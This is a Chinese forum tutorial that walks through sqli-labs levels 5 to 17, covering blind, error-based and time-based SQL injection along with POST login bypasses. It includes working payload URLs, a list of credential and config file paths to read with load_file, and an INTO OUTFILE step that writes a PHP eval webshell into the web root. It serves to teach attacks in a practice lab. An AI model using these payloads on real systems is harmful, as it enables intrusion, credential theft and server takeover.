用户
搜索
  • TA的每日心情
    开心
    13 小时前
  • 签到天数: 148 天

    连续签到: 148 天

    [LV.7]常住居民III

    i春秋-核心白帽

    Rank: 4

    53

    主题

    109

    帖子

    2046

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-7-20 21:25:18 0914

    sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属Johnson666,未经许可,禁止转载。连载方向:web安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    1.盲注相关的知识点

    盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    盲注分为三类:

    •基于布尔SQL盲注

    •基于时间的SQL盲注

    •基于报错的SQL盲注

    1:基于布尔SQL盲注  解决方法:构造逻辑判断

    我们可以利用逻辑判断进行

    截取字符串的相关函数说明:

    1.left(database(),1)>'s'    //left()函数
    database()显示数据库名称,left(a,b)从左侧截取a的前b位

    函数具体讲解:

    LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

    下面是LEFT()函数的语法 -

    LEFT(str,length);

    LEFT()函数接受两个参数:

    • str是要提取子字符串的字符串。
    • length是一个正整数,指定将从左边返回的字符数。

    2.ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函数,ascii()函数
    substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值

    3.ascii(substr((select database()),1,1))=100

    4.ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函数,MID()函数
    mid(a,b,c)从位置b开始,截取a字符串的c位
    ord()函数同ascii(),将字符转为ascii值

    5.regexp正则注入
    用法介绍:select user() regexp '^[a-z]';
    正则表达式的用法,user()结果为root@localhost,regexp为匹配root@localhost的正则表达式。
    第二位可以用select user() regexp '^ad'来进行。

    select user() regexp '^ad'后,当正确的时候显示结果为1,不正确的时候显示结果为0。这里肯定不正确,所以结果是0。

    这里要注意的一点是,我们如何才能知道匹配结束了呢?这里大部分根据一般的命名方式(经验)就可以判断。但是在你无法判断出结果的情况下,可以用table_name regexp '^username$'来进行判断。^是从开头进行匹配,$是从结尾开始判断。
    还有一个问题,table_name有好几个,我们只得到了一个user,那么其它的该如何才能知道呢?
    这里有一个误区,就是使用limit 0,1改为limit 1,1。但是这种做法是不对的,limit作用在前面的select语句中,而不是regexp。那我们该如何解决这个问题呢?其实在regexp中我们是取匹配table_name中的内容,只要table_name中有的内容,我们用regexp都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。

    6.like匹配注入
    和上述的正则类似,mysql在匹配的时候也可以用like进行匹配。

    举例:select user() like 'ad%'

    select user() like 'ro%'

    %:用来表示任意多个字符,包含0个字符。

    那么select user() like 'ad%'后,这里肯定不正确,所以结果是0。而ro是正确的,所以结果是1。

    2:基于报错的SQL盲注  解决方法:构造payload让信息通过错误提示回显出来

    1.floor报错注入

    select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

    此处有三个点需要注意,一是需要concat计数;二是floor,取得0 or 1,进行数据的重复;三是group by进行分组。

    大致原理可参考这些文章:Floor报错原理分析 - ka1n4t - 博客园 (cnblogs.com)Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户。我的理解是分组后数据计数时重复造成的错误,也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。

    下面这个是上面的简化形式:

    select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

    如果关键的表被禁用了,可以使用这种形式:

    select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2));

    2.如果rand被禁用了可以使用用户变量来报错

    3.利用mysql重复特性报错,此处重复了version,所以报错。

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    4.利用mysql对xml数据进行查询和修改的xpath函数,xpath语法错误。这种我比较常用

    updatexml()函数:

    updatexml(1,concat(0x7e,(select database()),0x7e),1);

    extractvalue()函数:

    extractvalue(1,concat(0x7e,(select database()),0x7e));

    5.还有Exp()函数和bigint溢出这两种报错方式,版本都在5.5.5及以上,本人不太常用

    exp()为以e为底的对数函数

    select exp(~(select * FROM(SELECT USER())a))         //利用double数值类型超出范围进行报错注入

    bigint超出范围;~0是对0逐位取反

    select (!(select * from (select user())x) - ~0)

    中间那个-是减号

    3:基于时间的SQL盲注  解决方法:延时注入

    1.sleep()函数:

    if(ascii(substr(database(),1,1))>100,0,sleep(5))%23 //if判断语句,如果条件为假,就执行sleep函数

    2.BENCHMARK()函数:BENCHMARK(count,expr) 函数重复count次执行表达式expr,参数一为次数,二为要执行的表达式,它可以用于计时MySQL处理表达式有多快,结果值总是0。

    http://127.0.0.1/?id=1 and if(length(user())=18,(select benchmark(100000000,md5(0x41))),1) --+

    我们可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。但是这种方式在运行过程中占用大量的cpu资源,所以这里推荐使用sleep()函数。

    Less-5:单引号盲注

    注:上面的所有盲注方法我在这一关以获取数据库名,表,列,数据的方式全部演示了一遍。

    这里从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法

    1.判断注入类型

    输入:http://127.0.0.1/sqllab/Less-5/?id=1'  错误
    输入:http://127.0.0.1/sqllab/Less-5/?id=1"  正常

    所以这里是单引号注入

    2.判断数据库长度

    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8 --+  正常

    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=9 --+  错误

    3.获取数据库名,表,列,数据

    这边有好几种方法:

    (1)利用left(database(),1)进行尝试

    这边先拓展下看版本号,这步可做可不做

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),1)=5--+

    这里的意思是看版本号的第一位是不是5,我查了下我的mysql数据库版本号为5.5.53 ,所以返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示you are in......

    然后再来爆数据库第一位

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),2)%3E%27s%27--+

    因为该数据库名为security,所以我们看他的第一位是否大于a,很明显s 大于 a,因此返回正确;爆数据库第二位,就是在得知第一位为s的情况下,我们看前两位是否大于 sa;后面第三位第四位依次爆下去。

    当我们不知道库名的情况下,可以用二分法来提高注入的效率,待会下面也会具体讲二分法。

    (2)利用substr()ascii()函数进行获取库名

    方法一:通过二分法

    方法一就是手工来判断

    判断数据库第一位的ascii码值是否大于64
    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1))>64 --+  正常

    判断数据库第一位的ascii码值是否大于96
    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1))>96 --+  正常

    判断数据库第一位的ascii码值是否大于112
    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1))>112 --+  正常

    判断数据库第一位的ascii码值是否大于118
    输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1))>118 --+  错误
    所以第一位在112到118之间,继续测试可以得到第一位是115,对应ascii码中的s
    继续通过二分法可得数据库名为security

    方式二:通过burpsuite爆破

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1))=115 --+

    其实就是使用Intruder模块,在该模块设置(substr(database(),1,1))中的第二个1和ASCII码值115为变量。注意Attack type设置为Cluster bomb

    然后那个1需要跑的是1到库名的长度,那么上面判断出了库名长度为8,这里就是1到8;

    那个115是ASCII值,所以需要跑的是0到127

    通过对照ascii表可以判断出数据库名为security

    爆破数据表也很相似,也是要在Intruder模块设置(substr(database(),1,1))中的第二个1和ASCII码值80为变量,那个1需要跑的是1到库名的长度,那么下面判断出了第一张表名长度为6,这里就是1到6;那个80是ASCII值,所以需要跑的是0到127。不过有个地方不一样,得注意:后面的几张表得通过手动修改limit里的0,1中的0来实现,比如第二张表就改成1,1,以此类推:

    比如这里面的limit里的0,1就在burp的Intruder模块里手动修改成1,1,然后继续跑第二张表:

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit 0,1),1,1))=80--+

    4.判断数据表的个数

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(*) from information_schema.tables where table_schema='security')>=5 --+正常
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(*) from information_schema.tables where table_schema='security')>5 --+错误

    说明该数据库共有5张数据表

    5.判断第一张数据表的长度

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+

    6.获取security数据库的第一个表的第一个字符

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

    注意:这里的table_schema可以写成 =’security’,而我这里使用database(),是因为此处database()就是security。想用哪种都行。

    这里还有两个重点,其一就是我们该如何获取第一个表的第二位字符呢?

    这里我们使用substr(,2,1)就可以了。

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

    其二就是想要获取第二个表的话,可以看到我们上面的payload中使用的是limit 0,1,意思就是从第0个开始,获取第一个。那要获取第二个就是limit 1,1了。

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

    然后就是不断重复,我也不赘述了

    7.获取列名

    (3)利用regexp获取(2)中users表中的列

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z\]%27%20limit%200,1)--+

    上述语句时选择users表中的列名是否有us的列

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

    图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。

    8.获取数据

    (4)利用ord()和mid()函数获取users表的数据内容

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

    获取users表中的内容。获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行的数据为Dumb。

    (5)然后,我来演示下报错注入。

    floor报错注入:

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    xpath函数报错注入:

    extractvalue()函数

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

    updatexml()函数

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

    利用mysql重复特性报错:

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

    (6)最后,再来演示下延时注入。

    sleep()函数

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    当错误的时候会延时5秒的时间。

    BENCHMARK()函数

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

    当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作100000000次,会占用一段时间。

    Less-6:双引号盲注

    1.判断注入类型

    http://10.10.10.1/sqli-labs-master/Less-6/?id=1' 正常
    http://10.10.10.1/sqli-labs-master/Less-6/?id=1" 报错
    http://10.10.10.1/sqli-labs-master/Less-6/?id=1" and 1=1 --+ 正常
    http://10.10.10.1/sqli-labs-master/Less-6/?id=1" and 1=2 --+ 错误

    说明注入类型是双引号盲注。

    其它参照Less-5

    2.导入导出相关操作的知识点

    1.load_file()导出文件

    Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

    例子:

    select load_file('/etc/hosts')

    例如上面的这个例子是有条件限制的

    使用条件:

    1、必须有权限读取并且文件必须完全可读。

    and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
    and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/

    我们查看mysql这个库中user表中的字段有这些

    需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
    (1)当secure_file_priv为空,就可以读取磁盘的目录。
    (2)当secure_file_priv为G:\,就可以读取G盘的文件。
    (3)当secure_file_priv为null,load_file就不能加载文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

    secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量,secure_file_priv设置具体看这里:

    若secure_auth为ON,则用以下方法变为OFF(mysql查询默认是不区分大小写的)

    secure_file_priv不能通过此方法修改,因为报错为Variable 'XXX' is a read only variable。报错原因及修改方法为:
    参数为只读参数,需要在mysql.ini配置文件中更改该参数,之后重启数据库

    将secure_file_priv为空的正确方法(注意NULL不是我们要的空,NULL和空的类型不一样)

    secure_file_priv=""就是可以load_flie任意磁盘的文件。

    2、欲读取文件必须在服务器上

    3、必须指定文件完整的路径

    4、欲读取文件必须小于max_allowed_packet

    show global VARIABLES like 'max_allowed_packet';
    
    如果文件超过了max_allowed_packet,则结果如下:
    mysql> select load_file("C:/Users/XF/Desktop/杀猪盘/index.php");
    +---------------------------------------------------+
    | load_file("C:/Users/XF/Desktop/杀猪盘/index.php")  |
    +---------------------------------------------------+
    | NULL                                              |
    +---------------------------------------------------+

      如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。

    在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,users就不能实现用load_file读取文件了。

    在实际的渗透注入中,我们有两个难点需要解决:

    1. 绝对物理路径
    2. 构造有效的畸形语句 (报错爆出绝对路径)

      在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将会受到严重的威胁。

    注入中load_file的常用路径:

    WINDOWS下:
    c:/boot.ini //查看系统版本
    
    c:/windows/php.ini //php配置信息
    
    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    
    c:/winnt/php.ini
    
    c:/winnt/my.ini
    
    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    
    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
    
    c:\Program Files\Serv-U\ServUDaemon.ini
    
    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
    
    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
    
    c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
    
    c:\Program Files\RhinoSoft.com\ServUDaemon.exe
    
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
    
    //存储了pcAnywhere的登陆密码
    
    c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
    
    c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
    
    c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    
    d:\APACHE\Apache2\conf\httpd.conf
    
    C:\Program Files\mysql\my.ini
    
    C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
    
    LUNIX/UNIX 下:
    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    
    /usr/local/apache2/conf/httpd.conf
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    
    /etc/httpd/conf/httpd.conf // apache配置文件
    
    /etc/rsyncd.conf //同步程序配置文件
    
    /etc/my.cnf //mysql的配置文件
    
    /etc/redhat-release //系统版本
    
    /etc/issue
    
    /etc/issue.net
    
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
    
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
    
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    
    /etc/sysconfig/iptables 查看防火墙策略
    
    load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    
    replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    
    replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

    示例:

    -1 union select 1,1,1,load_file(c:\\windows\\my.ini)

    路径里的\\\或者/代替,不然导入不进去

    2.将文件导入到数据库

    load data infile语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

    在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

    load data infile 'D:\1.txt' ignore into table xi character set gbk fields terminated by '\t' lines terminated by '\n';

    解释:将D:\1.txt导入到该库的t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

    若该文件不存在则会有此报错,Errcode(错误代码)为2:

    若没有权限则Errcode(错误代码)为13。

    3.将.....导入到文件

    SELECT.....INTO OUTFILE 'file_name'

    执行该语句可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此我们必须拥有FILE权限,才能使用此语法。'file_name'不能是一个已经存在的文件。

    这里我们一般有两种利用方法:

    第一种是直接将select内容导入到文件中:

    select version() into outfile "c:\\xi\\host\\tmp.php"

    这里可以将version()替换成一句话木马,<?php @eval($_POST['v'])?>,如下:

    select <?php @eval($_POST['v'])?> into outfile "c:\\xi\\host\\tmp.php"

    直接连接一句话木马就行了。

    第二种修改文件结尾:

    Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件

    解释:通常是用\r\n结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY

    16进制可以为一句话或者其他任何的代码,可以自行构造。在sqlmap中就有个os-shell,普通注入<code>--os-shell</code>主要是通过上传一个sqlmap的马,然后通过马来进行命令执行。os-shell采取的就是16进制的方式

    注:路径里的\\\或者/代替,不然导入不进去

    注意:

    (1)可能在文件路径当中需要注意转义,这个要看具体的环境

    (2)上面提到了load_file(),但是当前台无法导出数据的时候,我们可以利用以下的语句:

    select load_file('D:\\phpStudy\\PHPTutorial\\MySQL\\my.ini')into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\test.php'

    可以利用该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了。上述的my.ini当中存在password项(不过默认被注释),当然也有很多的内容可以被导出来。

    Less-7:文件写入

    本关的题目是Dump into Outfile,那么意思是要我们利用文件导入的方式进行注入。

    1.判断注入类型

    http://127.0.0.1/sqli-labs-master/Less-7/?id=1'   报错
    http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

    2.判断列数

    http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+  正常

    http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+  报错

    说明存在3列

    3.文件写入

    http://127.0.0.1/sqli-labs-master/Less-7?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

    或者"D:/phpStudy/PHPTutorial/WWW/hack.php",就是不能\,经过测试这样导入不成功。

    上面的图中报了错:You have an error in your SQL syntax,显示sql出错了,但是没有关系,我们可以在文件中看到hack.php已经生成了。

    这时候用菜刀等webshell管理工具连接就可以了,我下面用的是蚁剑,可以看到连接成功。

    Less-8:单引号布尔型盲注

    经过测试,我们发现 'or 1=1--+返回正常,构造payload:

    http://127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((select database()),1,1))=115--+

    这里我用的是布尔型的盲注,当然这里也可以使用延时盲注:

    http://127.0.0.1/sqli-labs-master/Less-8?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    但是这里不可以用报错盲注。如果报错盲注可以使用的话是可以直接返回user()的,但是这里没有返回。

    http://127.0.0.1/sqli-labs-master/Less-8?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    Less-9:单引号时间盲注

    这一关从标题就可以看到是单引号的基于时间的盲注,所以很明显这关我需要用延时盲注,同时id参数需要进行的是'的处理。

    这里用sleep()函数,构造payload:

    猜测数据库名第一位:

    http://127.0.0.1/sqli-labs-master/Less-9?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    猜测库security的第一个数据表的第一位:

    http://127.0.0.1/sqli-labs-master/Less-9?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

    下面的自行发挥

    Less-10:双引号时间盲注

    这一关从标题就可以看到是双引号的基于时间的盲注,所以很明显这关我需要用延时盲注,同时id参数需要进行的是"的处理。因此只要把Less-9的payload中的'改成"就行了。

    Less-11:POST型单引号注入

    这一关开始就是POST型注入了,POST就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程。这一关就需要我们来输入用户名和密码来登录。

    我们先用正确的用户名和密码来登录,正确的用户名和密码可以直接打开数据库看,如下图:

    我用的是admin和admin:

    然后再用错误的密码来输:

    那么这里该如何注入呢?

    1.判断注入类型

    用户名输入admin',密码随便输,没有登录成功,并报了这个错:

    You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near '123' LIMIT  0,1' at line 1

    用户名输入admin",密码随便输,没报错,不过也没有登录成功

    那么说明这里id参数需要进行的是'的处理。

    2.判断列数

    用户名输入admin' order by 2#,密码随便输,登陆成功

    用户名输入admin' order by 3#,密码随便输,登陆失败,并报了这个错:

    Unknown column '3' in 'order clause'

    可知列数为3

    3.爆库名

    先判断回显的位置:

    用户名输入-admin' union select 1,2#,密码随便输,可以看到Your Login name:处和Your Password:处会回显

    用户名输入-admin' union select 1,database()#,密码随便输,成功爆出库名

    这里我用的是union注入,还可以利用其他的方法进行注入。上述在get型注入中提到的语句都可以使用。

    拓展:万能密码

    用户名输入admin' and 1=1#,密码随便输,显示登录成功,并且返回了正确的用户名和密码

    这里要注意的是,用户名输入admin' or 1=1#,密码随便输,显示登录成功,虽然也返回了正确的用户名和密码,但是返回的是Dumb登录的。这里是因为sql执行的优先级的问题。

    Less-12:POST型双引号单括号注入

    输入用户名admin",密码随便输,报这个错:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

    因此构造payload,这里用报错注入:

    用户名输入1")  and updatexml(1,concat(0x7e,(database())),1)=("1,密码随便输,爆出库名:

    XPATH syntax error: '~security'

    Less-13:POST型单引号双括号注入

    输入用户名admin',密码随便输,报这个错:

    You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near '123') LIMIT  0,1' at line 1

    因此构造payload,这里用报错注入:

    用户名输入1')  and updatexml(1,concat(0x7e,(database())),1)=('1,密码随便输,爆出库名:

    XPATH syntax error: '~security'

    Less-14:POST型双引号盲注

    输入用户名admin",密码随便输,报这个错:

    You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near '123" LIMIT  0,1' at line 1

    因此构造payload,这里再来熟悉下盲注吧:

    用户名输入admin"and left(database(),1)>'s'#,密码随便输,登录失败

    用户名输入admin"and left(database(),1)='s'#,密码随便输,登录成功,说明库名第一位为s。

    再用报错盲注:

    用户名输入admin"and extractvalue(1,concat(0x7e,(select database()),0x7e))#,密码随便输,报如下错,其中爆出了库名:

    XPATH syntax error: '~security~'

    Less-15:POST型单引号盲注

    这一关没有报错的提示,那么只能依靠猜测来进行注入了。这里我为了更好地讲解就直接看了源代码,看到了如下的sql语句:

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    那么这里对id进行'id'的处理来注入。

    这一关我用延时盲注来注入。

    获取库名第一位:

    用户名输入admin'and if(ascii(substr(database(),1,1))=115,1,sleep(5))#,密码随便输,登录成功,而且页面不用延时就正常运转出来。而把115改成116就登录失败,而且页面会延时5秒才运转出来。所以说明库名第一位为s

    Less-16:POST型双引号单括号盲注

    这一关和Less-15一样没有报错的提示,那么只能依靠猜测来进行注入了。这里也是直接看了源代码,如下:

    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

    所以这里是对id进行("id")的处理来注入。

    payload:

    用户名输入admin")and if(ascii(substr(database(),1,1))=115,1,sleep(5))#,密码随便输,登录成功,而且页面不用延时就正常运转出来。而把115改成116就登录失败,而且页面会延时5秒才运转出来。所以说明库名第一位为s

    3.增删改函数的知识点

    在对数据进行处理上,我们经常用到的是增删改查。接下来来说一下mysql的增删改这三块。查就是上面总用到的select,这里就不再进行介绍了。

    1.增:insert into

    MySQL 表中使用 INSERT INTO来插入数据。

    例子:

    mysql> insert into user(id,mid) values('John','son');
    Query OK, 1 row affected (0.00 sec)
    mysql> select * from user;
    +------+-----+
    | id   | mid |
    +------+-----+
    | John | son |
    +------+-----+
    1 row in set (0.01 sec)

    2.删:dropdelete from

    删除结构:drop

    ​   ·删除数据库:drop database 数据库名;

    ​   例子:drop database test;

    ​   ·删除数据表:drop table 表名;

    ​   例子:drop table user;

    ​   ·删除数据表中的数据列:alter table 表名 drop column(这个column可有可无) 列名;

    ​   例子:

    mysql> desc user;
    +-------+---------------+------+-----+---------+-------+
    | Field | Type          | Null | Key | Default | Extra |
    +-------+---------------+------+-----+---------+-------+
    | id    | varchar(1000) | NO   |     |         |       |
    | mid   | varchar(1000) | NO   | PRI | NULL    |       |
    +-------+---------------+------+-----+---------+-------+
    2 rows in set (0.02 sec)
    //这时候是存在数据列id
    
    mysql> alter table user drop id;  //删除数据表中的数据列
    Query OK, 1 row affected (0.09 sec)
    
    Records: 1  Duplicates: 0  Warnings: 0
    mysql> desc user;
    +-------+---------------+------+-----+---------+-------+
    | Field | Type          | Null | Key | Default | Extra |
    +-------+---------------+------+-----+---------+-------+
    | mid   | varchar(1000) | NO   | PRI | NULL    |       |
    +-------+---------------+------+-----+---------+-------+
    1 row in set (0.03 sec)
    //这时候数据列id就被删除了

    ​   这里顺带提一下alert的用法:在 MySQL中可以使用 alter table 语句来改变原有表的结构,例如增加或删减列、创建或取消索引、更改原有列类型、重新命名列或表等。   

    删除数据:delete fromdelete from命令用于删除表中的数据。

    ​   delete from命令格式:delete from 表名 [where 条件]

    ​   例子:delete from user where id=3

    ​               不加where 条件,是删除所有数据。例子:

    mysql> delete from stu;
    Query OK, 5 rows affected (0.00 sec)

    3.改:update

    语法:update 表名 set 字段=值 [where 条件]

    修改所有:updata 表名 set 列名='新的值,非数字加单引号' ;

    例子:update stu set **='女'

    带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where 条件;

    例子:

    -- 将berry性别改为女
    mysql> update stu set **='女' where stuname='berry';
    Query OK, 1 row affected (0.06 sec)
    
    -- 将编号是1号的学生性别改成女,地址改为上海。
    mysql> update stu set **='女',`add`='上海' where id=1;
    Query OK, 1 row affected (0.00 sec)

    Less-17:POST型更新盲注

    这一关题目是update,可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。

    用户名输入admin',New Password随便输,便提示我是HACKER,BUG OFF YOU SILLY DUMB HCKER

    分析源码可知,这一关对username这个输入框做了严格限制,因此可以尝试一下通过New Password这个输入框进行注入。

    用户名输入admin,New Password输入1',报如下错:

    You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near 'admin'' at  line 1

